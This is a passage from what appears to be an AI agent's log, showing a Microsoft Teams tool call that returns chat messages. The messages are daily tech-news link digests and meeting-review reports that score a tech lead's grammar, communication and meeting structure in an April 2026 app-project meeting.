Weekly](https://news.google.com/rss/articles/CBMiowFBVV95cUxOMHpUU0FSaUhFVFR2T0stZmM3c3VFZm94cjh1aTFkdmxIU1JDeVlUNlVRUWtTLWdMTHFpVVB0LUJ6b3FscTVncDJnMG1JclFLNzVhWjctblZiMmQtdmVYUkZ4S0dmNUhRSG1FcTZFaWx4Rks5VUNleC1yZmxXUXhrMmhMVnZVejFjUzhwNVpTWk9vNWZvNFY0cmRlQi1wTUpMZ3lv?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  12. [GitHub announces npm security changes to tackle supply-chain attacks](https://www.bleepingcomputer.com/news/security/github-announces-npm-security-changes-to-tackle-supply-chain-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Cohere releases North Mini Code, a 30B parameter open-source coding model built for enterprise developers - Crypto Briefing](https://news.google.com/rss/articles/CBMiakFVX3lxTE1zY1VWQTVJSktYY3Y1SmNlLUZjV1dSc0dYMjFza2dqSEstV0FiTHJ6X1BIVm82NEg3eU93aG82MTNzQXFLZ210eFpTWXZMSXhpTVBxSVlMUEhaY3h4MzdITXVNbV9MZUdmWkE?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  14. [Apple, Google add support for Thread 1.4](https://www.theverge.com/tech/947888/apple-google-add-support-for-thread-1-4) \\\\- Apple and Google are updating their smart home streaming devices to Thread 1.4.\\n  15. [GitHub pulls pin on npm's auto-run scripts](https://www.theregister.com/devops/2026/06/10/github-pulls-pin-on-npms-auto-run-scripts/5253453) \\\\- Shai-Hulud worm exploited exactly this. Better late than never, says everyone except the malware authors.\",\n>       \"created_at\": \"2026-06-11T10:30:19.999Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173130177\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173130177\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Detecting and containing AI-powered threats with Google Security Operations agents](https://cloud.google.com/blog/products/identity-security/detecting-and-containing-powered-threats-with-google-security-operations-agents/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  2. [What's new for Managed Service for Apache Spark clusters](https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  3. [OpenAI GPT-5.4 and GPT-5.5 models now available in US East (N. Virginia) on Amazon Bedrock](https://aws.amazon.com/about-aws/whats-new/2026/06/openai-gpt-us-east-virginia-amazon/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  4. [Amazon OpenSearch Service launches MCP Apps for agentic observability](https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-agentic-observability-mcp-app) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  5. [Access OpenAI models and Codex through your Oracle cloud commitment](https://openai.com/index/openai-on-oracle-cloud) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  6. [Show HN: HelixDB - A graph database built on object storage](https://github.com/HelixDB/helix-db/tree/main) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Microsoft patches Exchange Server zero-day exploited in attacks](https://www.bleepingcomputer.com/news/microsoft/microsoft-patches-exchange-server-zero-day-exploited-in-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  8. [Is your agent extension actually working?](https://devblogs.microsoft.com/blog/is-your-agent-extension-actually-working) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  9. [Give GitHub Copilot CLI real code intelligence with language servers](https://github.blog/ai-and-ml/github-copilot/give-github-copilot-cli-real-code-intelligence-with-language-servers/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  10. [GitHub nukes 70+ Microsoft repos, breaks CI/CD pipelines, following suspected worm infections](https://www.theregister.com/security/2026/06/08/github-nukes-70-microsoft-repos-amid-suspected-worm-attack/5252169) \\\\- Miasma worm shapeshifts, but cloud secret-scouting remains the goal\\n  11. [Supporting Europe's work in ensuring a trustworthy AI ecosystem](https://openai.com/index/supporting-eu-trustworthy-ai-ecosystem) \\\\- OpenAI supports the EU Code of Practice on AI content transparency, advancing provenance standards and tools to help people understand AI-generated content.\\n  12. [Microsoft Defender 'RoguePlanet' zero-day grants SYSTEM privileges](https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-rogueplanet-zero-day-grants-system-privileges/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Google joins the Eclipse Foundation as a strategic member to accelerate AI-integrated developer tools - blog.google](https://news.google.com/rss/articles/CBMi4gFBVV95cUxPSHl5NnhaYVhKTVpPVjMxTGxiWGc0TXZDUXMzSUxtb1h3dklETGhjMlpiNE1zaXBtcDRxUGNwRG5NbXRfYTJpbFRidjdwNlFXVmVFaHd5eWZWQ0tvb0JaakpYMjI0eEFVWWY0YnNwS0xVdFhmVUFUWHA1Xzh4SExlYnRRUHZfazU0bWZzWDFQeTNBLVpheDVWUmkyMzhyWmNqSHRPS3hxQV9xM01ET2g3aElDRmZjNHFZdWJhUWN5RERUMkpka1d4djNReGFHU3I2d1h1U1R1XzgzUUc0VmFfc3hn?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\",\n>       \"created_at\": \"2026-06-11T10:18:50.177Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171262336\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171262336\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Updated Format\\n\\n**Source meeting:** Math IQ review, Apr 21, 2026  \\n**Fathom link:**   \\n**Comparison context:** Latest meeting transcript plus the latest 20 Jenish-\\nled Fathom interactions where available.\\n\\n**Score rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.7/10 - Needs Improvement  \\nAverage of Grammar, Communication, and Client Frustration Handling scores.\\n\\n  * **Grammar score:** 3/10 - Poor\\n  * **Communication score:** 5/10 - Needs Improvement\\n  * **Client frustration handling score:** 6/10 - Needs Improvement\\n  * **Client frustration risk:** 4/10 - Low to medium in the latest internal call, but higher in client calls when timeline or access expectations are unclear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting was mostly an internal technical review for the Math IQ\\napp. The team discussed app status, migration from Cloud Functions to\\nSupabase, Firebase push notifications, Google login issues, TTS/audio playback\\nbugs, grammar correction UI, Learn Flow, Roleplay flow, referral program,\\nscheduled notifications, and documentation needs.\\n\\nThe meeting produced useful action items, but the discussion was hard to\\nfollow because many requests were incomplete, repeated, or missing clear\\nownership and deadline framing.\\n\\n### 3\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact:** Unclear client-facing explanation can reduce trust and make the team look unsure.\\n  2. **High impact:** No structured recap can create delivery confusion and missed expectations.\\n  3. **High impact:** Weak grammar and incomplete sentences reduce confidence during estimation, negotiation, and status updates.\\n  4. **Medium impact:** Repeated questions increase meeting time and can frustrate clients.\\n  5. **Medium impact:** Missing owner/date/action formatting makes follow-up harder.\\n  6. **Low to medium impact:** Internal meetings are productive but inefficient when agenda and checklist are absent.\\n\\n### 4\\\\. Missed Opportunities\\n\\n  * Start with a clear agenda: current status, blockers, migration plan, bugs, owners, and deadlines.\\n  * Summarize each topic before moving to the next one.\\n  * Ask developers to confirm acceptance criteria, not just whether something is done.\\n  * Use a visible checklist to avoid repeating the same questions.\\n  * In client-facing calls, explain why access or technical details are needed before asking for them.\\n  * Close with a written recap: decision, owner, due date, and risk.\\n\\n### 5\\\\. Repeated Questions\\n\\n  * Repeated checks like: done?, complete?, okay?, and is it clear? without naming the exact feature.\\n  * Repeated checks around TTS/audio, grammar correction, Roleplay, and referral without a final decision statement.\\n  * Some clarification was necessary because the transcript and conversation were unclear, but several repeats could have been avoided by summarizing after each answer.\\n\\n### 6\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell us details how much complete and how much rest.  \\n**Better:** Please list completed modules, pending modules, blockers, and\\nestimated time for each pending item.\\n\\n  * **Unclear:** Do you use Firebase?  \\n**Better:** Are we using Firebase only for push notifications, or also for\\nauth, database, or Cloud Functions?\\n\\n  * **Unclear:** Is this done?  \\n**Better:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Unclear:** Check Stripe logic.  \\n**Better:** Verify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\\n\\n### 7\\\\. Necessary Follow-Up Questions vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for app/test access before quoting or estimating.\\n  * Asking which backend services are still on Cloud Functions.\\n  * Asking whether Google login, TTS, grammar correction, and Roleplay are tested.\\n  * Asking about production rollout, rollback, and user migration risk.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete? or done? after the same answer without narrowing the issue.\\n  * Re-asking details that should be captured in a checklist.\\n  * Continuing a topic after the owner and action are already clear.\\n\\n### 8\\\\. Root Causes Of Client Frustration\\n\\n  * Clients may feel the team is asking many questions without first explaining why the information is required.\\n  * Delays can feel unexplained if risks, dependencies, and next steps are not communicated early.\\n  * Technical leads sometimes jump into implementation details before confirming the business outcome.\\n  * If questions are broad, the client may need to repeat information or clarify the same point multiple times.\\n\\n### 9\\\\. Communication Patterns Across Recent Interactions\\n\\n**Improvements seen:**\\n\\n  * Better practical next steps in recent calls.\\n  * Better access negotiation in the Apr 20 client call: tester access was accepted when code access was not possible.\\n  * Better risk thinking in the Apr 6 My Ayur call around production deployment, rollback, and user migration.\\n  * More consistent action-item capture in Fathom summaries.\\n\\n**Still missing:**\\n\\n  * More polished English for client-facing explanations.\\n  * Stronger meeting control: agenda, topic boundaries, and recaps.\\n  * Clear reason-before-request communication.\\n  * Proactive timeline updates before the client asks why something is delayed.\\n  * Consistent business-impact framing before technical details.\\n\\n### 10\\\\. Suggested Improvements\\n\\n**Recommended meeting structure:**\\n\\n  1. Start: Today we need to confirm status, blockers, and next steps.\\n  2. For each topic: Current status, issue, decision needed.\\n  3. Ask one question at a time.\\n  4. After each answer: So the decision is __, owner is __, deadline is __.\\n  5. End: I will send a recap with owners, dates, and risks.\\n\\n**Useful replacement phrases:**\\n\\n  * **Instead of:** Can you give access?  \\n**Say:** To estimate accurately, I need tester access to verify the current\\nflow. Code access is not required at this stage.\\n\\n  * **Instead of:** This is done?  \\n**Say:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Instead of:** Why delay?  \\n**Say:** The delay is due to two risks: app approval and backend\\ncompatibility. Our fallback plan is rollback if store approval fails.\\n\\n### Final Recommendation\\n\\nThe tech lead should focus first on meeting structure and clarity, not only\\ngrammar. The biggest improvement will come from using a fixed meeting format:\\nagenda, one question at a time, recap after each topic, and final\\nowner/date/action summary. Grammar improvement is also important, especially\\nfor client-facing estimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:47:42.336Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171005304\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171005304\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**Meeting Reviewer Report** **Source:** Latest Fathom meeting: Math IQ review,\\nApr 21, 2026 https://fathom.video/calls/645205495 **Comparison context:**\\nReviewed the latest meeting transcript plus the latest 20 Jenish-led Fathom\\ninteractions where available. Recent client-facing comparison calls included\\nApr 20, 2026 and Apr 6, 2026. **Score rubric:** 1-3 Poor, 4-6 Needs\\nImprovement, 7-8 Good, 9-10 Excellent **Scores** \\\\- **Overall score:** 4.7/10\\n- Needs Improvement \\\\- **Grammar score:** 3/10 - Poor \\\\- **Communication\\nscore:** 5/10 - Needs Improvement \\\\- **Client frustration handling score:**\\n6/10 - Needs Improvement \\\\- **Client frustration risk level:** 4/10 - Low to\\nmedium in the latest internal call, higher risk in client calls when timeline\\nor access expectations are unclear **Conversation summary** The latest meeting\\nwas mostly an internal technical review for the Math IQ app. The team\\ndiscussed app status, migration from Cloud Functions to Supabase, Firebase\\npush notifications, Google login issues, TTS/audio playback bugs, grammar\\ncorrection UI, Learn Flow, Roleplay flow, referral program, scheduled\\nnotifications, and documentation needs. The meeting produced useful action\\nitems, but the discussion was difficult to follow because many requests were\\nincomplete, repeated, or missing clear ownership and deadline framing.\\n**Missed opportunities** \\\\- Start with a clear agenda: current status,\\nblockers, migration plan, bugs, owners, deadlines. \\\\- Summarize each topic\\nbefore moving to the next one. \\\\- Ask developers to confirm acceptance\\ncriteria, not just whether something is \u201cdone.\u201d \\\\- Use a visible checklist to\\navoid repeating the same questions. \\\\- In client-facing calls, explain why\\naccess or technical details are needed before asking for them. \\\\- Close with a\\nwritten recap: decision, owner, due date, and risk. **Repeated questions** \\\\-\\nRepeated \u201cdone?\u201d, \u201ccomplete?\u201d, \u201cokay?\u201d, \u201cis it clear?\u201d without a precise\\nfeature name. \\\\- Repeated checks around TTS/audio, grammar correction,\\nroleplay, and referral without a final decision statement. \\\\- Some repeated\\nclarification was necessary because the transcript and conversation were\\nunclear, but several repeats could have been avoided by summarizing after each\\nanswer. **Unclear requests** \\\\- \u201cTell us details how much complete and how\\nmuch rest\u201d should be rephrased as: \u201cPlease list completed modules, pending\\nmodules, blockers, and estimated time for each pending item.\u201d \\\\- \u201cDo you use\\nFirebase?\u201d should be followed by scope: \u201cOnly for push notifications, auth,\\ndatabase, or Cloud Functions?\u201d \\\\- \u201cIs this done?\u201d should include the exact\\nscreen, bug, expected behavior, and test result. \\\\- \u201cCheck Stripe logic\u201d\\nshould be: \u201cVerify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\u201d **Necessary follow-up questions vs\\nunnecessary repetition** Necessary follow-ups: \\\\- Asking for app/test access\\nbefore quoting or estimating. \\\\- Asking which backend services are still on\\nCloud Functions. \\\\- Asking whether Google login, TTS, grammar correction, and\\nRoleplay are tested. \\\\- Asking about production rollout, rollback, and user\\nmigration risk. Unnecessary repetition: \\\\- Repeating \u201ccomplete?\u201d or \u201cdone?\u201d\\nafter the same answer without narrowing the issue. \\\\- Re-asking details that\\nshould be captured in a checklist. \\\\- Continuing a topic after the\\nowner/action was already clear. **Root causes of possible client frustration**\\n\\\\- Clients may feel that the team is asking many questions without first\\nexplaining why the information is required. \\\\- Delays can feel unexplained if\\nrisks, dependencies, and exact next steps are not communicated early. \\\\-\\nTechnical leads sometimes jump directly into implementation details instead of\\nconfirming the business outcome first. \\\\- If questions are broad, the client\\nmay need to repeat information or clarify the same point multiple times.\\n**Priority issues ranked by business impact** 1\\\\. **High:** Unclear client-\\nfacing explanation can reduce trust and make the team look unsure. 2\\\\.\\n**High:** No structured meeting recap can create delivery confusion and missed\\nexpectations. 3\\\\. **High:** Weak grammar and incomplete sentences reduce\\nconfidence during estimation, negotiation, and status updates. 4\\\\. **Medium:**\\nRepeated questions increase meeting time and can frustrate clients. 5\\\\.\\n**Medium:** Missing owner/date/action formatting makes follow-up harder. 6\\\\.\\n**Low to medium:** Internal meetings are productive but inefficient when\\nagenda and checklist are absent. **Communication patterns across latest\\ninteractions** Improvements seen: \\\\- Better practical next steps in recent\\ncalls. \\\\- Better access negotiation in the Apr 20 client call: tester access\\nwas accepted when code access was not possible. \\\\- Better risk thinking in the\\nApr 6 My Ayur call around production deployment, rollback, and user migration.\\n\\\\- More consistent action-item capture in Fathom summaries. Still missing: \\\\-\\nMore polished English for client-facing explanations. \\\\- Stronger meeting\\ncontrol: agenda, topic boundaries, recaps. \\\\- Clear reason-before-request\\ncommunication. \\\\- Proactive timeline updates before the client asks why\\nsomething is delayed. \\\\- Consistent business-impact framing before technical\\ndetails. **Suggested improvements** Use this structure for every client or\\nlead meeting: 1\\\\. \u201cToday we need to confirm three things: status, blockers,\\nand next steps.\u201d 2\\\\. For each topic: \u201cCurrent status, issue, decision needed.\u201d\\n3\\\\. Ask one question at a time. 4\\\\. After each answer, say: \u201cSo the decision\\nis __, owner is __, deadline is __.\u201d 5\\\\. End with: \u201cI will send a recap with\\nowners, dates, and risks.\u201d Useful replacement phrases: \\\\- Instead of: \u201cCan you\\ngive access?\u201d Say: \u201cTo estimate accurately, I need tester access to verify the\\ncurrent flow. Code access is not required at this stage.\u201d \\\\- Instead of: \u201cThis\\nis done?\u201d Say: \u201cCan you confirm whether this feature is implemented, tested,\\nand working on staging?\u201d \\\\- Instead of: \u201cWhy delay?\u201d Say: \u201cThe delay is due to\\ntwo risks: app approval and backend compatibility. Our fallback plan is\\nrollback if store approval fails.\u201d **Final recommendation** The tech lead\\nshould focus first on meeting structure and clarity, not only grammar. The\\nbiggest improvement will come from using a fixed meeting format: agenda, one\\nquestion at a time, recap after each topic, and final owner/date/action\\nsummary. Grammar improvement is also important, especially for client-facing\\nestimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:43:25.304Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170929097\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170929097\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"Hii\",\n>       \"created_at\": \"2026-06-11T09:42:09.097Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928939\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928939\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.939Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928890\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928890\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.89Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     }\n>   ]\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.list_chat_messages\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"top\": 100\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"messages\": [\n>     {\n>       \"message_id\": \"1781868597362\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868597362\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Concise Meeting Review \u2014 Replacement\\n\\n**Scores:** Overall **5.3/10 \u2014 Needs Improvement** | Grammar **4/10** | Communication **5/10** | Frustration handling **7/10 \u2014 Good** (no external client was evident, so this score is provisional).\\n\\n**Summary:** The team made useful decisions about architecture, bugs,\\ndocumentation, and priorities. The main weakness was unclear wording and\\nmoving between topics without confirming the decision, owner, deadline, and\\nacceptance test.\\n\\n### Top Issues\\n\\n  * **HIGH \u2014 00:02:** Unclear opening; no agenda or required outcomes.\\n  * **HIGH \u2014 03:03:** Vague status request (\u201chow much complete and how much rest\u201d) could produce unreliable estimates.\\n  * **HIGH \u2014 18:37:** Migration explanation mixed several systems and decisions without a checklist, creating rework/security risk.\\n  * **MEDIUM \u2014 25:20\u201325:56:** Repeated, conflicting discussion about tap behavior ended without a testable acceptance criterion.\\n\\n**Repeated questions:** Architecture, login, bug, and microphone checks were\\nnecessary. Generic \u201cwhat\u2019s clear?\u201d checks and repeated tap/table discussions\\nwere inefficient because nobody restated the final decision.\\n\\n### Trend Across 20 Prior Meetings\\n\\n  * **Improved:** Better handling of access boundaries, technical dependencies, release risks, and prioritization.\\n  * **Still recurring:** Unclear scope/timelines, long technical explanations, repeated clarification, and verbal requirements without written acceptance criteria.\\n\\n### Recommended Actions\\n\\n  1. Open with purpose, three outcomes, agenda, and end time.\\n  2. Ask for status as: done | remaining | blocker | owner | due date.\\n  3. Close each topic with: decision | owner | date | acceptance test.\\n  4. End with a two-minute read-back of actions and unresolved risks.\\n\\n_Client/product/contact/account/credential details were removed. Grammar\\nfindings may partly reflect multilingual speech and transcription errors._\",\n>       \"created_at\": \"2026-06-19T11:29:57.362Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781868451230\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868451230\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer \u2014 Most Recent Completed Meeting\\n\\n**Meeting date:** 21 Apr 2026  \\n**Review scope:** Full transcript of the selected meeting; 2 nearest prior\\nfull transcripts; summaries/action items from the other 18 preceding meetings.  \\n**Privacy:** Client, product, account, contact, and credential details have\\nbeen removed. Speaker names are replaced by roles.\\n\\n### Scorecard\\n\\n  * **Overall: 5.3/10 \u2014 Needs Improvement** (average of the three scores below)\\n  * **Grammar: 4/10 \u2014 Needs Improvement** \u2014 frequent sentence fragments, missing verbs/articles, vague pronouns, and unfinished thoughts.\\n  * **Communication: 5/10 \u2014 Needs Improvement** \u2014 useful technical decisions were reached, but questions and handoffs were often unstructured.\\n  * **Client-frustration handling: 7/10 \u2014 Good** \u2014 higher means less observed friction. No external client was evident in this meeting; the score is provisional and reflects internal confusion/repetition rather than client dissatisfaction.\\n\\n_Fairness note: the transcript contains multilingual speech and likely speech-\\nrecognition errors. Grammar observations should be treated as coaching\\nsignals, not accent judgments._\\n\\n### Conversation Summary\\n\\nThe team reviewed project status, architecture, migration work, bugs,\\ndocumentation, and feature priorities. They agreed to consolidate backend\\nwork, fix critical login/audio/grammar-correction issues, document the\\narchitecture, prioritize core learning and role-play flows, and defer lower-\\npriority notifications/referral work. The technical direction was broadly\\nsound, but the call lacked a crisp agenda, item-by-item status format,\\nacceptance criteria, and a final owner/deadline recap.\\n\\n### What Went Well\\n\\n  * **Architecture clarification:** At **02:46** , the lead asked which backend/service components were actually in use. This was a necessary question before migration decisions.\\n  * **Documentation recognized:** At **11:01** , the team requested a project document; the resulting action list captured architecture and feature documentation work.\\n  * **Functional verification:** At **28:48\u201329:04** , the team checked whether microphone and speech-correction behavior was complete instead of assuming it worked.\\n  * **Prioritization:** At **31:30\u201332:04** , lower-priority reminder/referral work was deferred so the team could focus on core functionality.\\n\\n### Priority Issues and Evidence\\n\\n  1. **HIGH \u2014 Unclear opening and meeting objective.**  \\n**Transcript 00:02:** \u201cSo you have to ask about [product] \u2026 we discussed this\\n\u2026 okay?\u201d  \\nThe call began without a clear purpose, expected decisions, or order of\\ntopics. This increases meeting time and the risk that participants solve\\ndifferent problems.  \\n**Improve:** \u201cToday we need three outcomes: current status, blockers, and\\nowners/dates for remaining work.\u201d\\n\\n  2. **HIGH \u2014 Vague status request.**  \\n**Transcript 03:03:** \u201cTell us \u2026 how much complete and how much rest.\u201d  \\nThe intent is understandable, but the request does not specify features,\\nevidence, blockers, or dates. This can produce unreliable estimates and missed\\nscope.  \\n**Improve:** \u201cFor each feature, state: done, remaining, blocker, owner, and\\ntarget date.\u201d\\n\\n  3. **HIGH \u2014 Long, unstructured architecture explanation.**  \\n**Transcript 18:37:** \u201cWe need everything in [backend] \u2026 there is no cloud\\nfunction \u2026\u201d followed by repeated services, tables, and secret-handling\\nreferences.  \\nSeveral decisions were mixed together without a clear migration checklist or\\ndefinition of done. Business risk includes configuration errors, security\\noversights, and rework.  \\n**Improve:** present \u201ccurrent state \u2192 target state \u2192 components to migrate \u2192\\nitems to remove \u2192 validation owner/date.\u201d\\n\\n  4. **HIGH \u2014 Contradictory acceptance criteria.**  \\n**Transcript 25:20\u201325:56:** \u201cLearn flow?\u201d / \u201cIt doesn\u2019t [need to be] tappable\u201d\\n/ \u201cNo, no, no.\u201d  \\nParticipants discussed the same interaction in different terms, but nobody\\nrestated the final decision. This can send development in the wrong direction.  \\n**Improve:** finish with one testable sentence: \u201cDecision: tapping a chat\\nmessage will/will not trigger X; owner Y will demo it by date Z.\u201d\\n\\n  5. **MEDIUM \u2014 Weak closed-loop confirmation.**  \\n**Transcript 01:08\u201301:52:** \u201cWhat\u2019s clear?\u201d was repeated around an audio/mute\\nproblem.  \\nRepeating a generic question does not prove shared understanding.  \\n**Improve:** \u201cPlease repeat the two actions you own and their deadlines.\u201d\\n\\n  6. **MEDIUM \u2014 Premature task closure without ownership.**  